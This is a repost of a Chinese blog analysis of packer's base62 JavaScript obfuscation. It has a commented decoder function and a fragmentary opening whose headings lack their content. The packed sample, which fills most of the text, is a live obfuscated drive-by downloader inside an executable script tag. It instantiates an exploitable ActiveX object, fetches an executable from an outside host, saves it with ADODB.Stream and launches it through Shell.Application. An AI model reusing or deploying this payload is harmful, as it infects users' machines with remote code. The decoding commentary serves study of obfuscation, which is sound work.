packer和base62分析
转自:http://51hired.com/questions/14003/packer%E4%B9%8Bbase62%E5%88%86%E6%9E%90
http://blog.mtian.net/tag/base62/
|
混淆前:
混淆后(可以在这里测试):
原理: 类似图形编码的调色板,将程序中的变量首先替换成索引( 这里主要分析下
最后介绍下里面的
该函数将 |
--------------------------------------------------------
base62的解码分析
mdecoder对于base62的解码一直都是用v8来跑的,但是因为对v8用的不好,导致大量解码的有时会崩溃。今晚上瞧了下他自身怎么解码的,打算自己写个解码的函数。
<script type="text/javascript"> //脚本经过改版,所以可能有些地方没意义。 //匹配p中的单词,以单词为下标从k中取明文替换。 //p 密文 //a 根据他进行下标的转换。最大62,所以这种加密方法有的地方称之为base62。 //c k中所放东东的个数 //k 明文的单词表 //e 一开始放了个函数,转换为下标的。后来还是放了一个函数,直接返回用来构成正则的一段字符串。 //d 后来存放k的内容了。 eval(function(p, a, c, k, e, d) { e = function(c) { //返回的是两段相加的,如果大于a,则递归取值,小于a则用后面的取值。 0~35 -> 0~z; 35~61 -> A~Z; 62~97 -> 10~1z //parseInt() 函数可解析一个字符串,并返回一个整数。 //toString() 方法可把一个 Number 对象转换为一个字符串,并返回结果。 NumberObject.toString(radix) // 例如,当 radix 为 2 时,NumberObject 会被转换为二进制值表示的字符串。 return (c < a ? '': e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { //似乎是必然为真的判断 while (c--) d[e(c)] = k[c] || e(c); //复制k数组内容到d数组,d数组的下标为经过函数处理的c。 k = [function(e) { //k[0] = function(e){return d[e]} k数组的第一个元素是一个函数,直接返回d数组的内容 return d[e] }]; e = function() { //返回"\\w+" return '\\w+' }; c = 1 }; //只能循环一次,上面已经将c设置为1了。 //生成一个正则表达式,以匹配到的东西为下标取d数组的内容来替换原来的内容。 //js中的replace比较强大,会把匹配到的内容放到第二个参数(函数)里处理,然后替换。 //正则就是匹配字母+数字+下划线组合的单词 while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p } ( '2w 1j(1E){l 2v="";l 1C=1D.2u()*1E;2t\'\\2s\\6\\B\\g\'+1D.2r(1C)+\'\\k\\5\\1A\\5\'}2q{l 1z="\\O\\6\\6\\g\\1w";1y="\\X\\X";1x="\\C\\u\\k\\W\\K\\u\\k\\D\\D\\D\\k\\D\\J\\M\\X\\1B\\8\\j\\i\\f\\1B\\k\\5\\1A\\5";1k=1z+1y+1x;1u="\\f\\o\\y\\5\\a\\6";1t="\\a\\b\\e\\t\\t\\8\\i";1s="\\a\\b\\t\\8\\i\\1w\\1g\\1v\\K\\C\\p\\M\\M\\C\\L\\C\\M\\x\\J\\L\\W\\W\\1v\\u\\L\\K\\2p\\J\\x\\L\\u\\u\\p\\u\\2o\\I\\p\\D\\K\\T\\J\\C";1m="\\x\\i\\f\\i\\o\\k\\n\\6\\h\\5\\e\\B";1i="\\n\\a\\h\\8\\g\\6\\8\\j\\2n\\k\\I\\8\\b\\5\\n\\1l\\t\\6\\5\\B\\z\\o\\y\\5\\a\\6";A=(2m["\\i\\f\\a\\R\\B\\5\\j\\6"]["\\a\\h\\5\\e\\6\\5\\T\\b\\5\\B\\5\\j\\6"](1u));A["\\t\\5\\6\\x\\6\\6\\h\\8\\o\\R\\6\\5"](1t,1s);1d(2l("l%2k%2j%2i%22%2h%1q%V%2g%U%V%2f%2e%2d%V%1r%U%22%2c%28%22%1o%2b%1r%1q%1p%2a%1p%27%U%26%25%22+%22%1o%22+%22%24%22+%22%23%22+%22%1n%22+%22%1n%22+%22%21%22%20%22%22%29%1Z"));l S=A["\\p\\h\\5\\e\\6\\5\\z\\o\\y\\5\\a\\6"](1m,"");S["\\6\\1l\\g\\5"]=1;P["\\z\\g\\5\\j"]("\\1h\\T\\1e",1k,0);P["\\n\\5\\j\\i"]();H=1j(1Y);l F=A["\\p\\h\\5\\e\\6\\5\\z\\o\\y\\5\\a\\6"](1i,"");l 1f=F["\\1h\\5\\6\\n\\g\\5\\a\\8\\e\\b\\I\\f\\b\\i\\5\\h"](0);H=F["\\1g\\R\\8\\b\\i\\1X\\e\\6\\O"](1f,H);S["\\f\\g\\5\\j"]();S["\\1W\\h\\8\\6\\5"](P.1V);S["\\n\\e\\1U\\5\\1e\\f\\I\\8\\b\\5"](H,2);S["\\p\\b\\f\\t\\5"]();l Q=A["\\p\\h\\5\\e\\6\\5\\z\\o\\y\\5\\a\\6"]("\\n\\O\\5\\b\\b\\k\\x\\g\\g\\b\\8\\a\\e\\6\\8\\f\\j","");1d("\\18\\17\\16\\w\\14\\9\\1T\\13\\1b\\q\\3\\4\\m\\s\\3\\4\\c\\d\\3\\4\\7\\1c\\3\\4\\7\\N\\3\\4\\7\\m\\3\\4\\d\\E\\3\\4\\7\\1S\\3\\4\\c\\m\\3\\4\\7\\G\\q\\1a\\19\\1R\\4\\w\\1Q\\10\\11\\r\\3\\3\\3\\4\\c\\9\\3\\4\\c\\1c\\3\\4\\c\\9\\3\\4\\c\\m\\3\\4\\7\\d\\3\\4\\7\\w\\3\\4\\9\\9\\3\\4\\9\\s\\r\\v\\r\\3\\4\\7\\9\\3\\4\\7\\w\\3\\4\\7\\m\\3\\4\\s\\1P\\3\\4\\7\\d\\3\\4\\c\\G\\3\\4\\7\\d\\r\\Z\\1O\\15\\12\\1N\\1b\\q\\3\\4\\d\\9\\3\\4\\7\\G\\3\\4\\7\\d\\3\\4\\7\\N\\3\\4\\7\\N\\3\\4\\m\\d\\3\\4\\c\\G\\3\\4\\7\\d\\3\\4\\7\\9\\3\\4\\c\\d\\3\\4\\c\\m\\3\\4\\7\\d\\q\\1a\\19\\18\\17\\16\\w\\14\\9\\v\\r\\3\\4\\s\\E\\3\\4\\s\\13\\3\\4\\7\\9\\3\\4\\s\\E\\r\\11\\1M\\c\\1L\\1K\\1J\\9\\v\\q\\q\\v\\1I\\1H\\10\\1G\\v\\E\\Z")}1F(Y){Y=1}', 62, 157, '|||134|170|x65|x74|66|x69|63|x63|x6C|67|65|x61|x6F|x70|x72|x64|x6E|x2E|var|64|x53|x62|x43|42|47|62|x73|x30|54|104|x41|x6A|x4F|ZHjnh2|x6D|x36|x32|60||70|T7tRw3|x46|x33|x39|x2D|x35|103|x68|jhI5d||x75||x45|5Cx74|5Cx65|x31|x2F|SRgI5d|51|145|53||106|141||162|163|152|50|135|133|71|eval|x54|KxDLe|x42|x47|QI8Ea3|yGjnh2|fHjnh2|x79|CHjnh2|5Cx54|5Cx4D|5Cx6F|5Cx72|5Cx63|JHjnh21|IHjnh2|HHjnh2|x44|x3A|sfzLe|tfzLe|qezLe|x78|x77|oveAS3|Math|RgI5d|catch|156|160|157|167|122|164|124|121|73|105|114|113|61|75|x76|responseBody|x57|x50|10000|3B|2C|5Cx50||5Cx48|5Cx4C|5Cx58|5Cx2E|5Cx66|||5Cx73|5Cx69|5D|5Cx6A|5Cx62|5Cx4F|5Cx61|5Cx43|5B|3DZHjnh2|20jhI5d|unescape|window|x67|x34|x38|try|round|x7E|return|random|www|function'.split('|'), 0, {} )) </script>